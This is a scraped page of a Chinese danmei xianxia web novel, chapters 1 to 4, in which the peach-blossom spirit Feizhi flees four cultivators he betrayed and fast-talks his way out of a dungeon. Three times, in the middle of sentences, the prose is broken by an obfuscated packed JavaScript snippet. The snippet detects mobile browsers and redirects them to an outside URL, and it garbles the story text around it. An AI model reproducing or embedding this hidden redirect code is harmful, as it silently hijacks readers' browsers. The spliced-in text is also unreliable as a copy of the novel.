《债主们非说我欠的是桃花债》 1. 第 1 章 “啊啊啊啊!” 不见天光的地牢中,一个男人被魔族拖出去,分食殆尽。 惨叫声凄厉,牢中被捉来的百姓们瑟瑟发抖。 地牢角落,绯枝靠坐地上,搂紧身上斗篷,胸膛急促起伏,心头惊魂未定。 好险好险,那疯狗嗅觉见长啊,差点就被逮到了。 得亏他反应快,那个笨家伙一定想不到他会主动往这魔窟里面跳,算是暂时甩开了。 只要别被那疯狗发现闹出大动静,其他几个家伙也发现不了他。 很快就能摆脱那些债主的追杀了。 思及此处,绯枝泄出一声得意的笑音。 “你怎么在笑?我们就要被那些魔族当成血食了,你不怕吗?” 一个面容清俊的青年同样靠坐在角落,许是为了缓解恐惧,他靠过来搭话。 此地位于凡人界皇城郊外,谁想居然暗地里藏了一个魔族建立的魔窟。 他们这些人皆是路过被捉来,关进这处地牢。 前面已经有不少人被带出去杀死了,若是没人来救,很快就会轮到他们。 绝境也不过如此。 所以青年怎么都想不明白,怎么会有人还笑得出来。 绯枝扭头,“这里的魔族很厉害?” “很厉害,已经杀了很多修仙者了,据说无人能敌。” 厉害好,厉害好啊。 厉害的话那条受了重伤的疯狗就算发现了魔窟的存在,也杀不进来。 绯枝又忍不住笑了声。 “你还笑?”青年担忧,眸底透出疑虑,“莫不是吓昏头了?” 他对对方有印象,是他们这批人中最后一个被魔族捉进来的,不久前还被这牢中几个想要死前发泄一把的男人盯上。 刚才被魔族分食的男人就是其中一个。 受了这么多刺激,没准真疯了。 视线落在绯枝斗篷帽兜下的面容上,青年一愣,看呆了片刻。 绯枝抬手向下拉斗篷的帽檐,将整张脸藏进阴影,“我只是想到了一些高兴的事情——” “砰!” 地牢的大门突然被人一脚踹开,伴随着无数魔族的惨叫,绯枝笑容骤然僵住。 门板倒地的声响在耳边炸开,叫他浑身一震,险些坐不稳。 这动静,该不会...... 眼前缓缓浮现一个大字:危。 磅礴灵力将地牢笼罩,地面疑似门闸的东西被踩碎。 外界的光芒洒进这方昏暗地牢,一道少年身影背着光大步踏入,气势汹汹,毫无隐蔽之意。 在他身后,魔族的尸体堆积成山,猩红粘稠的血液缓缓蔓延流淌。 长靴落地,一步一血脚印。 绯枝心跳骤停,完了完了完了,真的是那条疯狗! 看守的魔族抓着武器冲上去,那少年抬手,一把黑金色的长弓凭空浮现,拉满弓弦,带着锐意锋芒的漆黑长箭破空而出。 地牢中的普通百姓们根本没能看清发生了什么,那些在他们心中不可战胜的魔族就已经被箭气搅成血肉碎片。 血沫四溅,整个地牢都变作血腥地狱。 凉意顺着脊椎攀上来,绯枝下意识屏住呼吸,身子一动不敢动。 少年穿了一身暗金缂丝墨色的劲装,龙纹腰封束腰,显得腰窄腿长,身形挺拔。 马尾高束,眉眼俊美,透出少年人的桀骜张扬。周身锋芒毕露,像极他的长弓,随时要取人性命。 对方身后有一条黑金色的龙尾正在缓缓晃动,折射出冷冽的光泽。 落玉衡,修仙界龙族的少主,也是绯枝如今的债主......之一。 “绯枝,滚出来!” 带着鲜明怒意的呵斥,不仅叫绯枝狠狠一哆嗦,更是叫一些还处在茫然中的百姓们于恐惧之下跪倒在地。 落玉衡的眼睛是黑金色的,纯黑的瞳孔周围有着一圈金色纹路。 此刻这双眼睛变成了竖瞳,死死盯着人群,似乎要给躲在其中的绯枝来个万箭穿心。 比起龙,对方更像是一条疯狗,稍不顺心就咬人。 他跟对方原本也算是多年的好兄弟,但这种兄弟情从他两个月前算计对方,导致这位一生不弱于人的少主一败涂地,肯定是没有了。 依着对方的性子,现在估计想要扒他的皮喝他的血,再拿他的骨头磨牙。 “你不是说这些魔族无人能敌吗?!”绯枝从牙缝里挤出极轻的一句。 那青年从劫后余生的狂喜当中回神,“这、可是他也不是人啊。” “......”竟无言以对。 不能出去,绝对不能出去,绯枝怂兮兮蜷缩着身子,脑中飞速思索对策。 人群嘈杂,但是没有人站出来,落玉衡气笑,“躲,接着躲,我看你能躲到什么时候!” 青年疑惑,“他在找谁,谁叫绯枝?” 绯枝默默摇头,把自己的小身板又往斗篷里面藏了藏,借前面密集的人群把自己挡住。 只庆幸凡人界不似修仙界,听说过他传闻的人极少,见过他面容的更是基本没有。 落玉衡一掌拍烂关押的铁条,逼近人群,“不出来是吧,被我抓到你就完了!” 他就要挨个把人拎出来,下一刻倏地回身,长箭迎上直冲他心口而来的傀儡丝。 两者轰然相撞,皆化作灵力消散。 “病秧子,这里可没有治你残废的药,带着你的破线滚!”落玉衡嗤笑。 轮子碾过地面的声响传来,缓缓进入地牢。 来人坐于轮椅,罩着一身碧青外衫,里边白色对襟盘扣长褂,身形清瘦。长发用一根棕黑色枯枝松松半挽,几缕慵懒垂落面侧。 瘦削的手上把玩着一把绘着桃花的折扇。 病弱温和,眉眼风流。 见傀儡丝没能杀了落玉衡,他面上似乎还流露出遗憾。 修仙界天机阁阁主,奕戈,绯枝的债主......之二。 绯枝眼前一黑。 完了,又追来一个,落玉衡这疯狗把动静闹太大了。 他自修仙界逃窜至凡人界已两月有余,一直藏得很好。 也就今日白天为了赶路来皇城,不慎泄露了一些踪迹。 原本觉着应该无甚大碍,谁成想如今才傍晚,就已有两个债主千里迢迢追杀过来。 “跑魔窟发疯,落少主好雅兴。” 奕戈将手中折扇半展,吐字时尾调上扬,轻缓婉转,颇为好听。 “不过落少主还是先行离开,将人让与我,否则一会儿怕是有血光之灾呢。” 落玉衡讥讽,“死残废这么会算命,怎么没算出自己会被他捅一刀推下魔渊?” 这个他说得自然是这会儿缩在人群后面安静如小鸡的绯枝。 奕戈勾唇,苍白指节抵在唇畔,“没办法,只要是枝枝给我的,我都甘之如饴,舍不得拒绝。” “倒是落少主,听说逆鳞都被拔了?枝枝得有多讨厌你啊。” “病痨子想打架就直说!” “我这身子骨可弱得很,打伤了枝枝会心疼的” 奕戈转而笑吟吟看向人群,“枝枝——” 短短两个字被他念得抑扬顿挫,语调拐了九曲十八弯,都快唱起来了。 他的声音听上去总带着些病恹恹的慵懒,此刻又添了幽怨:“小没良心,你逃走之后,我可是茶不思饭不想,念得紧呐。” “医师说,我这是害了相思病了,要见到你才能好。” 落玉衡呸了一声。 绯枝搓搓胳膊,你怕是要见到我死才能好吧。 两人的对话从互揭老底逐渐上升到人身攻击,杀气越来越重。 泄露出来的威压令牢中百姓们瑟瑟发抖,一个个捂着耳朵低着头装死。 奕戈的轮椅突然缓缓向后。 一枚金色追踪印记凭空出现在两人之间,倏地炸开,灵力凝聚成的碎片飞溅。 扫过落玉衡被碎片划出血口的面侧,奕戈笑了一声,“都说有血光之灾了。” “缔琉俟!”落玉衡愤怒打散残留的灵力碎片,咬牙切齿。 听到这个名字,探着脑袋偷看的绯枝身子晃了晃。 又一个。 你们全都属狗的吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14234297|151375||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,闻着味儿就都来了? 身着白金色广袖长衫的青年踏入地牢。 他长发及地,璨金流苏细链缀于发丝。垂坠着白金色绸缎的圆环悬空浮于额际的高度,遮挡住面容。 华贵中皆是与红尘格格不入的清冷,宛若一池静潭,走进来的一瞬间简直让这破地牢都变得飘然若仙起来。 修仙界登灵阁的圣子,缔琉俟。 登灵阁的戒律是整个修仙界出了名的森严,禁贪、嗔、痴、爱、恶、欲。 也正因此,这位脸都不露的圣子阁下别说七情六欲,连最基本的沟通能力都没有。 表现得禁欲淡漠,但在绯枝看来就是个呆瓜。 就连两月前被他算计破戒,被大怒的阁主打下地牢的时候,也是一言不发,只静静看着他。 估计是想骂他,但是根本不会骂人,憋坏了。 缔琉俟看向人群,突然抬手,又是一枚追踪印记出现,落入人群,在绯枝震惊的目光下停留于他头顶。 印记再次炸开,放了个小而璀璨的烟花,一点看不出之前把落玉衡脸划烂的威力。 人群“哗”得散开。 周遭空了一圈的绯枝:“......” 呆圣子还学会新招数了。 青年愕然看着绯枝,“你、你就是......” 他面有恍然,约莫是明白为什么之前绯枝听见魔族厉害要笑了。 缔琉俟声音清冷:“我有话问你。” 你怕不是有话骂我! 这些魔族真是废物,这点实力还好意思建什么魔窟,都杀进来三个人了! 要是他一会儿逃不掉,指不定黄泉路上还能跟它们结个伴。 见绯枝不动,百姓们躁动更甚。 “你赶紧出去啊,别连累我们!” “就是,也不知道安得什么心!” “看着年纪也不大,怎么这么恶毒,真该死!” 左一句右一句的污言秽语听得青年皱眉,忍不住道:“你们讲点道理,要不是他,我们现在还被魔族关着呢。” “嘿,你这个小年轻怎么说话的!”骂得最难听的那个大娘叉腰,开口又要骂。 绯枝呵呵笑了声,往下扯了扯帽檐。 突然一把拽住其中两个鬼鬼祟祟缩着身体的男人,声音幽怨仿若厉鬼:“你们不是说要带我爽一把吗,就现在吧,来来来。” 两个男人腿都软了,“不不不!我错了我再也不——” 话都未说完,一支长箭将两人贯穿钉在墙上,没了气息。 原本还在埋怨指责绯枝的百姓们霎时噤声。 绯枝僵硬扭头,落玉衡维持着拉弓的姿势,额发搭在眉骨,冲他咧出上下四颗尖锐的犬齿,显得野性十足。 仿佛在说,下一个被钉成糖葫芦串儿的就是你。 奕戈意味深长,“枝枝缺打手的话,下次找阁主我就可以了哦。” 之前咒骂难听的几个人突然开始互相狠命厮打,大娘牙都掉了一大半,满口血。 空中隐隐可见漫天傀儡丝。 听着渗人的惨叫声,绯枝颤巍巍缩回角落装蘑菇,不敢不敢,您老人家使唤不起。 被修仙界出名的几个大能日夜追杀,他这日子过得可真是刺激。 不过怪谁呢,他自找的。 因为情绪起伏,绯枝墨色的眸底漾开暖红与鹅黄交融的色泽,左眼尾有水红色类桃花印记时隐时现。 幸有帽兜遮挡,才没让旁人发现异常。 他并非人,而是一株红色的桃花,也不知为何诞生了灵智。 除龙族跟魔族以外,他大抵是天底下唯一一个非人却有灵智与人形的生灵。 若来的是旁人,他还能变作原型躲一躲。 但可惜,这几人都是知道他桃花精身份的,他若是变回去,不能动弹,只会被抓住更快。 花苞被薅秃、枝干被撅折的可能性不说大,只能说十成十。 思索间,有不同于三人的脚步声进入地牢。 嘶......又来一个债主。 要不他还是想想坟头摆什么祭品好了。 2. 第 2 章 绯枝壮着胆子抬眼看,正好看清来人的模样。 白衣玉冠,天人之姿。 是师尊。 他刚从桃花枝化作人形的时候还是四五岁模样的稚童,连话都不怎么会说。 一个人在凡人界流浪,被来铲除魔族的师尊捡回去,收作唯一的弟子。 他的师尊封祭月是这世间至善之人,平素但行善事,天下闻誉。 可惜,就像所有人叹息得那样,风清月朗的仙君养大了一个狼心狗肺的孽徒。 竟是被弟子亲手剜去灵骨。 封祭月进来后没有同另外三人说话,而是对着惶恐不安的百姓们安抚道:“外面的魔族都已经解决,各位可以离开了。” 他生得实在温柔,鼻梁高挺,唇薄却不显凉薄。眉眼似笼了流云清月,像极一缕春风,叫人想要亲近。 就连地牢内暗潮汹涌的气氛都好似被他安抚,不再戾气四起。 被落玉衡三人吓得瑟瑟发抖的百姓们感激涕零,一口一声仙君,一口一声恩人,连滚带爬往这鬼地方出口逃。 绯枝想要浑水摸鱼,但是刚动了动身子,就立刻察觉到四道灼热的视线。 他又默默蜷缩了回去。 不敢动,不敢动。 那个青年是最后一个走出去的,走前还回头用口型对他说了声保重。 绯枝缩在角落,斗篷罩身,脑袋埋膝装蘑菇,一声不吭。 落玉衡哼笑,“还装死。” “阿枝,跟师尊走吧,好吗?”封祭月柔声劝哄。 听着这温柔的嗓音,绯枝微顿。 脑海浮现那时,他用师尊赠他的长剑刺入师尊脊背剜骨时,师尊不可置信又悲伤的眼神。 虽然灵骨能再生,但疼痛不会少一分一毫。 一时间有些晃神,心尖轻颤。 师长如父,何况还有多年的养育之恩,此生都无以为报。 但他很快回神,重重咬唇,让自己清醒过来。 都选择当不得好死的畜生了,就没有回头路走。 更何况,当初被师尊抱回去,本就是他刻意谋划。 缔琉俟迈步向着绯枝走近一步,又道:“我有话问你。” 绯枝自然是不应声的。 落玉衡扯了扯嘴角,“指望这个没有心肝的人搭理你?登灵阁果然都是一群傻子。他巴不得我们都赶紧死,好让他逃。” 奕戈饶有兴致,“听闻圣子是因为破了戒,才被阁主处罚,不知破得是什么戒?” 缔琉俟依旧是没有情绪的木头语气:“他不让我说。” “蠢,对他那种人,越听话下场越惨。”落玉衡冷哼。 缔琉俟转头,遮面绸缎微微晃动,“为什么惨?” “因为你蠢!” “为什么我蠢?” “不是,你有病啊?” “为什么我有病?” 他就像是无法跟人正常说话似的,把落玉衡气得要拔弓了,“你找茬是不是!” 奕戈勾唇打岔,“少主是在说他自己呢,毕竟都被拔鳞片了。” “我杀了你!” 封祭月这时要走去绯枝身边,却被三道灵力同时牢牢拦住。 他看向三人,长眉微蹙,“阿枝是我的弟子,自当同我走。” 落玉衡:“我管你是谁,今天就算是他亲爹来了也没用,他必须跟我走!” 奕戈折扇一展,戏谑道:“仙君怕是不知道,你的爱徒先前同我说,早就受不了你那慈悲心泛滥的性子了,要跟你断绝师徒关系呢。” 随着这句话落下,地牢内气流都好似凝滞了。 偷看的绯枝隐隐瞧见自己师尊嘴角由上往下,顿时闭眼,吾命休矣。 他就知道!四个人里面就属奕戈最克他!挑事精! 半透明的傀儡丝仿若天罗地网,突然拢住地牢。 “枝枝不如直接做我的傀儡啊,我一定好好疼你,每天都给你穿漂亮衣裳。” “或者做成盆栽养在我床头如何?” 寒芒乍现,封祭月出剑斩断傀儡丝,直指奕戈,愠怒:“你敢!” “哦?仙君不是一向最大公无私了吗。你弟子作恶多端搅得修仙界大乱,仙君难道不打算处置他?” 封祭月抿唇,神色黯淡,语气有些艰涩,“这就不劳奕阁主费心了,我自会给所有人一个交代。” “枝枝,听到了吗,他们都要杀你呢,不像我,一直在关心你。” 落玉衡咬牙,“玩傀儡的心都脏!” 墙角,绯枝默默听着几个人争执,一动不动装死。 四个人都想杀他,这听起来很恐怖。 但正因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14234298|151375||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如此,他只有一条命,四个人杀他前,高低要跟另外三个打一架,那时候就是他逃命的好机会。 缔琉俟却在这时突然开口:“我只问话,问完就走。” 落玉衡挑眉,“你确定?” 他颔首。 登灵阁圣子不会说谎的印象着实深入人心。 缔琉俟说完这话之后,另外三人思索一二,最后收手,不再拦着他靠近墙角的小蘑菇。 约莫是觉得迟早要把人拎出来的,少个对手也好。 喂喂喂,你们就这么把他放过来了? 方才那要为了取我狗命大打出手的架势呢! “唰——” 斗篷猝不及防被灵力掀开,心惊胆战装死的绯枝被强行露面。 他重心不稳五体投地跪扑到地面,像是给四人提前拜了个年。 四人:“……” 地牢内寂静下来。 一名容貌看上去只有十七八岁的少年缓缓跪坐,手掌还支着地面。 他披着一件绯色外衫,垂落腿根的乌发似绸缎,同衣衫一块儿贴在单薄的身体上。 “咳咳。”绯枝装模作样咳了两声,抬起一张巴掌大小的脸。 水红鹅黄交融的眸子氤氲雾气,眼尾洇出一抹艳色,桃花印记清丽,唇瓣上还带着自己咬出来的牙印。 面若春桃,我见犹怜,无害至极。 看着绯枝这副狼狈样,几人面色各异。 绯枝抬袖抹过并没有眼泪的眼角,抢在缔琉俟之前开口,语调哀怨:“都怪我生得太好,竟叫那些魔族心生歹意。欺我柔弱无力,将我拐至魔窟。” “我方才还以为是那些魔族没死完,这才装死,原来是你们啊。” 说着,他揖了揖手,满怀感激。 “还好有你们在,几位不愧是人中龙凤、天之骄子、修仙界的领头人,杀魔族如杀鸡,又古道热肠救我于水火。” “你们就像黑夜中的夜明珠,为我驱散黑暗,我实在是感激不尽。” 字字都是感谢,字字不提报答。 绯枝又绞尽脑汁夸了好几句,终于编不下去了。 硬着头皮,悄悄抬眼打量神情不明的四人。 “那什么,正所谓相逢即是有缘,都不要板着脸嘛,笑一个?” “啊哈哈哈.......” 3. 第 3 章 故作镇定的笑声回荡在这只剩五个男人的空旷地牢,没有一个人接话。 绯枝笑着笑着就消了音,默默跪坐在地装哑巴。好冷漠的几个债主,让他一个人当笑话。 缔琉俟看不见神色,光听语气古井无波,“我有话问你。” 你敢不敢换句话。 绯枝心下了然对方要问什么,无非是关于那次“破戒”,但这种事情是能在大庭广众下问的吗?! 他是真怕到时候见不得卑鄙小人的师尊一剑劈过来。 微微目移,“其实我失忆了......” 这话狗......落玉衡都不信。 但缔琉俟好像信了,他道:“跟我回去,慢慢想。” 落玉衡急了,“狗屁圣子,说话不作数!” 缔琉俟依旧语气淡然,“没有不作数,带回去想起来,回答我,让他离开。” 听起来还怪有道理的。 落玉衡差点被绕进去,气得龙尾巴重重拍在地面,石头地面碎裂,蛛网般的裂缝蔓延开。 绯枝小眼神滴溜溜转,恨不得落玉衡疯狗病发作,跟另外三个打起来。 奕戈折扇抵在唇下,笑意盈盈,“枝枝又在想什么坏主意?” 美好幻想被打断,绯枝讪讪笑了笑,“阁主大人说笑了。” 有奕戈在,指望浑水摸鱼是不可能了。 杀出去? 这个比前一个更像白日梦。 就他这小身板,四人随手一掌能给他拍在地上铲都铲不起来,变成一株死花。 修仙界一直有一个流传甚广的说法,说绯枝是靠那副绝顶的美人相将四位大能哄得五迷三道,这才让四人接连着了他的道。 越传越离谱,祸水的名头都给他安上去了。 尽胡说八道。 这四个人,要么没有七情六欲是块呆木头,要么只喜欢到处乱咬,要么满心天下苍生除恶扬善,要么整天跟自己的傀儡过小日子。 一个还是将他从小养大的师尊,怎么可能图他的区区色相。 他就不信天底下龙阳断袖这么多,全被他碰上。 能骗到人,主要靠他不要脸。 他这株桃花天生就是吃这碗饭的。 越想越偏,从乱七八糟的想法中回过神来,绯枝深吸一口气。 这种时候还能走神,是生怕四个债主不杀他吗。 余光瞄过四人,他将指尖悄悄触上地面。 几息后,绯枝猛地一个鲤鱼打挺,被狗追一样撒腿就往外跑。 不出意外,四道灵力同时落到他身上,禁锢住他的身体。 落玉衡哼笑,“跑得掉吗你。” 异变突生。 地面亮起刺眼的红色光芒,阵法于脚下浮现,将四人尽数笼罩在内,这片空间所有灵力霎时被镇压。 数不清的桃枝从地面冒出,紧紧缠绕住四人的脚踝,开出朵朵水红色桃花。 看上去纤细脆弱,却极有韧性,压根挣不开斩不断。 看向暂时不能动弹,面有错愕的四人,绯枝得意洋洋笑起来。 戏弄地抓了一把落玉衡的龙尾,还对着默默盯着他的缔琉俟做了一个鬼脸。 贱兮兮的,完全看不出之前可怜巴巴的怂样。 “谢谢四位的热情陪伴,不过太粘人了不好,下次再陪你们玩咯~” 说完这句,毫不留恋地跑了。 该怂就怂,该犯贱就犯贱。 一点活路不给以后的自己留。 —— 人溜得一根头发丝都不剩,地牢只剩下四个又被耍了的冤大头。 气氛压抑。 桃枝并没有维持太长时间,约摸半炷香就化作光点消散了。 惨遭抓尾巴的落玉衡把那件掉地上的斗篷撕得粉碎泄愤,然后气急败坏离开了地牢,剩下三人也陆陆续续离开。 这座魔窟彻底成为空窟。 半晌,一朵水红色小桃花从角落飘了出来,鹅黄色的花蕊颤了颤。 绯枝变回人形,没有第一时间跑,而是靠在墙壁上喘息,面色惨白一片。 单薄的身形微晃,几乎要摔倒在地。 强行催动力量,虚了。 梦想是以后能做一株持久的桃花。 眼前的景物模糊颠倒,绯枝抖着手,从怀中取出一枚晶莹的玉石。 那玉石不过半指宽,莹润温暖,上面有着桃花的纹路。 他就这么定定看着,半晌,自嘲苦笑。 脑中突然传来一阵阵剧痛。绯枝陡然失了力,踉跄着跪倒在地。 瞳孔涣散,失去了视觉,周身顷刻只余漆黑。 要命,又来了...... [杀了所有人] [杀了所有人] [杀了所有人] 无尽的呢喃在识海回响,仿佛成千上万人同时在耳边凄厉怨叹,几乎要把人逼疯。 “别吵了......别吵了啊啊啊啊!” 绯枝痛得蜷缩在地上狼狈打滚,双手紧紧抱住脑袋,泛白指尖几乎嵌入皮肤。 却又不敢大声,怕引来那四个人,只能死死咬住嘴唇,撕得鲜血淋漓,从齿缝溢出几声支离破碎的哀叫。 “该死......都该死......” “疼......” 从绯枝有灵智开始,他的根部就藏了一枚玉石,叫他日复一日做着同一个梦,梦见同一个人。 他看不清那个人的面容,听不清那个人的声音,也记不清梦中发生的事情。 伴随梦境一同出现的,是识海中越来越疯狂的呢喃,诉说着恨意滔天的诅咒。 一年又一年过去,绯枝明白了,他存在的意义就是去追寻梦中的那个人。 哪怕不择一切手段,他也要见到对方,亲手触碰对方。 三界是虚假的,只有那个人是真实的。 在这个荒唐疯狂的执念之下,其余所有的人或事都显得没那么重要了。 他在呢喃的指引下,算计了四人,剜他们骨取他们血,搅得修仙界动荡不安。又在指引下来到皇城,要混进皇宫搅个腥风血雨。 躺在地上许久,眼前的黑暗褪去,终于又能看清周围。 绯枝缓缓呼气,额角的冷汗没入发丝,一时间竟是有种恍如隔世的感觉。 指尖还在轻微颤抖,光是残留的痛苦都能叫人发疯。 这大概就是他忘恩负义玩弄真心的报应。 踉踉跄跄支起身,随手拍去身上的灰,离开魔窟向着皇城走去。 奈何他今天的运气似乎真的不怎么样,才没走多少距离,就被一伙山贼给围住了。 又是魔窟又是山贼的,这皇城到底是有多水深火热啊! 领头那山贼头子在看清绯枝的脸之后眼睛都发直了,嘿嘿笑起来,“居然还有意外收获,老子还从来没见过这种极品。” “给他绑回去!” 其他的山贼们也两眼冒光。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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被操控着点了点头,绯枝心下骂骂咧咧,面上挤出一个温顺无辜的笑容。 “我才没有想要逃呢。” “幸好阁主来了,不然我就要被那些山贼抓走了。” “阁主大人对我最好了,我都不知道该怎么报答了。” 然而,经过一遭算计,奕戈好像不吃他嘴甜这套了。 脖颈突然被对方抬手扼住,打断了他不要钱的甜言蜜语。 奕戈的指节很修长,也很冷,透着病弱的苍白。 绯枝能感觉到冰凉的温度圈住了自己一大半的脖颈,缓缓用力。 掌心按在咽喉上,让他呼吸有些艰涩,脉搏的跳动也变得明显。 像是蟒蛇缠绕住了猎物的喉咙,随时都会让那脆弱的颈骨发出咔的一声。 天机阁主奕戈,以残废破败的病躯在强者为尊的修仙界登上高位,从来不是个良善之辈,得罪他的人都在言笑晏晏间尸骨无存。 可绯枝胆战心惊了半天,对方却始终没有再多用一份力,那一动不动的手逐渐给他一种缠绵的错觉。 残疾的青年坐在轮椅上仰头,卸下了平日里虚假的温和与风流,点漆如墨的眸底映出渐沉夕阳,显露出几分病态的阴郁来。 望着弯腰俯向他的少年,似是随意问: “既然我这么好,枝枝又为什么要背叛我?” 绯枝微愣,他竟从这轻描淡写的质问中听出了转瞬即逝的轻颤。 气、气得发抖了? 4. 第 4 章 绯枝同奕戈已经认识整整五年了。 第一次见面那天,他原本是抱着一堆吃食从师门无埃宗溜出来去找落玉衡。 结果那条疯狗龙不知跑哪咬人去了,找了一圈也没找到。 呢喃突然发作,他昏迷中变回桃花飘飘荡荡。 待到回过神来,已经飘进了天机阁深处,见到了传闻中的天机阁主奕戈。 当时对方恰好病痛发作,从轮椅上摔下来。 奕戈双手撑地,似乎是想要站起来。 可是不管他怎么努力,都只是在地上徒劳挣扎,反倒弄得衣衫凌乱,发丝黏连面侧。 看不出丝毫传闻中的风流从容,倒更像一条被人打断了腿只能在地上哀嚎的流浪狗。 总之绯枝觉得,跟他被那些呢喃折磨时候的样子还蛮像的。 只不过他是罪有应得,对方却是天命不公。 刚一变回人形,大概是察觉到陌生气息,奕戈突然看过来,杀意凛冽。 对方要杀了自己这个目睹了他不堪模样的闯入者。 当时绯枝想得是:这应该就是那些呢喃的指引,要他跟这位天机阁主处好关系。 顶着奕戈充满杀意的目光,绯枝走到对方面前,将人扶——不如说架回轮椅。 随手又变出一枝桃花,替对方盘好凌乱的长发。 不得不说,奕戈眉眼生得风流,那水红桃花挽上去一点都不违和,漂亮得很。 绯枝说自己是变回桃花睡觉,被风吹进来的。 也不知道奕戈信没信,但后面对方就很喜欢来找他,每一次都要从他这里讨很多桃花枝走。 到最后整个天机阁都种满了桃花,不知道的还以为天机阁改名桃花阁了。 时间一晃就过去多年,两月前那日,他骗奕戈有心里话想跟对方说,邀人去魔渊。 平日里满口戏言,工于心计的人居然真的赴约了,然后直接被他捅了心口取血再推下魔渊,那魔渊魔气汹涌,对方如今只怕也是伤势未愈。 “什么背叛?” 绯枝一点也不躲闪地与奕戈对视,一字一句皆是诚恳,还带着几分被冤枉的委屈。 “那日只是个意外。” “阁主将我当挚友,我自然也回以真心,又怎么可能会背叛。” 脖颈上的手掌倏然收紧,绯枝咳了两声。 这力道,感觉对方是真的想把他掐死。 奕戈眼神沉沉,似嘲似讽,“真心?” 绯枝依旧坦坦荡荡望着他的眼睛,没有丝毫动摇,“不管阁主相不相信,我从没想过背叛你。你说过的,我们是知己。” “如果阁主想的话,也可以把我当作......最好用的傀儡,就像现在这样。” 奕戈的质问根本就是个陷阱,不管他用什么理由去解释,在回答的那一刻就已经代表着承认了背叛。 而奕戈平生多疑,最恨背叛。 所以最好的回答,就是咬死不承认,再嘴甜几句。 四目相对,奕戈突然笑起来,“枝枝,你真是一点都没有变。” “从第一眼,我就知道你是个什么样的人。” 绯枝抿了抿唇,小巧喉结在那冰凉的掌心滚过,不打算回应这句听上去就很危险的感叹。 面侧被对方苍白的指尖似有若无碰了碰,又蹭过他沾染着鲜血的唇瓣,让他有一种被毒蛇信子舔过的头皮发麻感。 干什么干什么,不要对桃花动手动脚! “你那日......”奕戈倏得止了话头。 绯枝疑惑,“什么?” 说话别说半句啊。 奕戈没回答,垂眼笑了笑。 脖子上的手缓缓松开,绯枝劫后余生地喘了几大口气。 好险,差点就变成死花了。 耳边传来温和的声音,“既然枝枝都这么说了,我肯定是要相信的。” “嗯?枝枝怎么这副表情?” 奕戈歪头,指尖撩起绯枝一缕发丝把玩,神情幽怨,“难道在枝枝心里,阁主我是个冷漠无情的人?” 绯枝一句“你就是啊”险些脱口而出。 “别人我自然是不信的,但枝枝不一样啊,你可是我的......” 的什么? 挚友?知己?盆栽?玩物? 绯枝支棱耳朵听了半天也没听对方说出后半句。 这人说话是真的喜欢只说半截! 身上的傀儡丝散去,他终于能自由控制身体。 看向奕戈,对方弯着眼睛,心情不错的样子,也不知道是被他哪一瞬间的悲惨表情取悦了。 一瓶伤药丢进怀里,绯折一点也不推辞地沾了点往被自己咬破的嘴唇上抹。 凉凉的真舒服,果然有钱人用得东西就是好。 “枝枝,给你唱曲儿听好不好?” 天机阁主有个与他性格很不相符的喜好。 他喜欢,也颇为擅长唱曲儿。 因为这个喜好,不少看不惯他的人都讥讽他是卑贱的戏子,哪怕登上了高位也改不掉取悦人的下.贱.奴.性。 “好啊,最喜欢听阁主唱了。” 奕戈笑着抬手,宽袖滑落,露出一截苍白手腕。 骨节分明的手将碧枝桃花折扇缓缓展开,戏腔便在这片空旷无人的郊野响起。 “今夕何夕,见此良人。” “子兮子兮,如此良人何?” 他有一把好嗓子,语调总是微微上扬,酥得人心口发麻,唱起曲儿来也是上上品。 绯枝其实是真的挺喜欢听对方唱曲儿的,但是此时此刻的氛围,却让他莫名的毛骨悚然。 他们还在向前走,那唱曲儿的人也不看路,倚在轮椅上,就一直直勾勾望着他。 这一行的人总是眼眸流转间顾盼生辉,奕戈虽非角儿,但凭着那张脸,也是颦笑勾人。 指尖绕发,薄唇轻启,眼眸含情,似嗔似叹。 若非绯枝知道对方是在唱曲儿,而且就偏爱缠绵调,这眼神简直像在看......心上人。 被自己自恋又离谱的想象吓得颤了颤,绯枝躲开奕戈的目光。 “今夕何夕,见此邂逅。” “子兮子兮,如此邂逅何?” 这词带着些揶揄的意味,调侃于黄昏时刻成婚的新人。 放到如今同样的黄昏时刻,有点诡异的应景。 绯枝本就是一身绯杉,奕戈的青衫也被金红夕阳镀了色,倒显得两人皆为大红衣衫了。 “今夕何夕,见此粲者。” “子兮子兮,如此粲者何?” ...... 一曲唱罢,奕戈笑吟吟问:“好听吗?” “好听!”绯枝捧心,“我都听痴了,阁主天下第一!” “枝枝真敷衍啊,果然是嫌弃我太粘人了?” 先前嘴贱说得话这会儿被单独拎出来点自己,绯枝一本正经: “阁主大人这怎么能叫粘人,分明是大公无私浪费自己的时间来教导愚笨的我。” “嘴巴还是这么甜。” 奕戈挑眉,收拢的折扇挑上绯枝瓷白的下巴,“呐,我跟你师尊,你更喜欢谁?” 绯枝一愣,冒出个莫名其妙的联想,“我娘跟我媳妇掉水里我先救谁?” 奕戈:“......” 他突然笑起来,清瘦的肩头都在轻轻颤抖。 绯枝被笑懵了,不是,你也没必要笑成这样吧。 